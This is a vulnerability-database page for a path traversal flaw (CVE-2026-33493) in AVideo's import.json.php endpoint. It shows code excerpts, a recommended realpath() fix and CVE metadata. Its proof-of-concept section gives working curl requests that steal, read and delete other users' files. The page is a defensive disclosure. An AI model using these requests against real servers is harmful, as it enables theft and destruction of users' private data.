Vulnerability-Lookup

GHSA-83XQ-8JXJ-4RXM

Vulnerability from github – Published: 2026-03-20 20:49 – Updated: 2026-03-25 20:31

Summary

AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Details

Summary

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

// objects/import.json.php:12
if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) {
    return false;
}

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

// objects/listFiles.json.php:16-28
$allowedBase = realpath($global['systemRootPath'] . 'videos');
// ...
$resolvedPath = realpath($_POST['path']);
if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {
    http_response_code(403);
    echo json_encode(['error' => 'Path not allowed']);
    exit;
}

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via file_get_contents():

// objects/import.json.php:23-43
$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];
$extensions = ['txt', 'html', 'htm'];
foreach ($extensions as $value) {
    if (file_exists("{$filename}.{$value}")) {
        $html = file_get_contents("{$filename}.{$value}");
        $_POST['description'] = $html;
        // ...
        break;
    }
}

The content flows into $_POST['description'], which is then saved as the video description by upload.php:59-64:

// view/mini-upload-form/upload.php:59-64
if (!empty($_POST['description'])) {
    // ...
    $video->setDescription($_POST['description']);
}

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

// objects/import.json.php:47-49
$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
    // ...
}

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $_POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

// objects/import.json.php:54-61
if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {
    if (is_writable($source)) {
        unlink($source);
        foreach ($extensions as $value) {
            if (file_exists("{$filename}.{$value}")) {
                unlink("{$filename}.{$value}");
            }
        }
    }
}

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victim_video_abc123), which can be enumerated via the platform UI or API:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

Expected result: The response returns {"error":false, "videos_id": <new_id>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videos_id.

Step 2: Read another user's video description file

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

Expected result: If victim_video_abc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

Impact

Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.
File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information.
File deletion: An attacker can delete other users' video files and metadata, causing data loss.
Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Recommended Fix

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

// objects/import.json.php — add after line 14 (the preg_match check)
$allowedBase = realpath($global['systemRootPath'] . 'videos');
if ($allowedBase === false) {
    die(json_encode(['error' => 'Configuration error']));
}
$allowedBase .= '/';

$resolvedDir = realpath(dirname($_POST['fileURI']));
if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {
    http_response_code(403);
    die(json_encode(['error' => 'Path not allowed']));
}
// Reconstruct fileURI from resolved path to prevent symlink bypass
$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);

Severity ?

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:49:36Z",
    "nvd_published_at": "2026-03-23T16:16:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user\u0027s private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST[\u0027fileURI\u0027])) {\n    return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\n// ...\n$resolvedPath = realpath($_POST[\u0027path\u0027]);\nif ($resolvedPath === false || strpos($resolvedPath . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    echo json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]);\n    exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027filename\u0027];\n$extensions = [\u0027txt\u0027, \u0027html\u0027, \u0027htm\u0027];\nforeach ($extensions as $value) {\n    if (file_exists(\"{$filename}.{$value}\")) {\n        $html = file_get_contents(\"{$filename}.{$value}\");\n        $_POST[\u0027description\u0027] = $html;\n        // ...\n        break;\n    }\n}\n```\n\nThe content flows into `$_POST[\u0027description\u0027]`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST[\u0027description\u0027])) {\n    // ...\n    $video-\u003esetDescription($_POST[\u0027description\u0027]);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist \u2014 which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user\u0027s video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027basename\u0027];\nif (!copy($source, $tmpFileName)) {\n    // ...\n}\n```\n\nAn attacker who knows or can enumerate another user\u0027s video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST[\u0027delete\u0027]` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST[\u0027delete\u0027]) \u0026\u0026 $_POST[\u0027delete\u0027] !== \u0027false\u0027) {\n    if (is_writable($source)) {\n        unlink($source);\n        foreach ($extensions as $value) {\n            if (file_exists(\"{$filename}.{$value}\")) {\n                unlink(\"{$filename}.{$value}\");\n            }\n        }\n    }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user\u0027s video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0027\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": \u003cnew_id\u003e, ...}`. The victim\u0027s private `.mp4` is now imported as the attacker\u0027s own video at the returned `videos_id`.\n\n### Step 2: Read another user\u0027s video description file\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026length=100\u0027\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user\u0027s video\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026delete=true\u0027\n```\n\n**Expected result:** The victim\u0027s `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user\u0027s private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users\u0027 video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php \u2014 add after line 14 (the preg_match check)\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\nif ($allowedBase === false) {\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Configuration error\u0027]));\n}\n$allowedBase .= \u0027/\u0027;\n\n$resolvedDir = realpath(dirname($_POST[\u0027fileURI\u0027]));\nif ($resolvedDir === false || strpos($resolvedDir . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST[\u0027fileURI\u0027] = $resolvedDir . \u0027/\u0027 . basename($_POST[\u0027fileURI\u0027]);\n```",
  "id": "GHSA-83xq-8jxj-4rxm",
  "modified": "2026-03-25T20:31:17Z",
  "published": "2026-03-20T20:49:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter"
}

CVE-2026-33493 (GCVE-0-2026-33493)

Vulnerability from cvelistv5 – Published: 2026-03-23 15:52 – Updated: 2026-03-23 16:33

Title

AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.

Severity ?

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/e110ff542ac…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33493",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-23T16:33:19.961226Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-23T16:33:28.572Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user\u0027s private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T15:52:33.788Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
        }
      ],
      "source": {
        "advisory": "GHSA-83xq-8jxj-4rxm",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33493",
    "datePublished": "2026-03-23T15:52:33.788Z",
    "dateReserved": "2026-03-20T16:59:08.887Z",
    "dateUpdated": "2026-03-23T16:33:28.572Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-83XQ-8JXJ-4RXM

Summary

Details

Missing path restriction in import.json.php

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

Attack Primitive 2: Private video theft

Attack Primitive 3: File deletion

PoC

Step 1: Steal a private video

Step 2: Read another user's video description file

Step 3: Delete another user's video

Impact

Recommended Fix

CVE-2026-33493 (GCVE-0-2026-33493)

Tags

Sightings

Nomenclature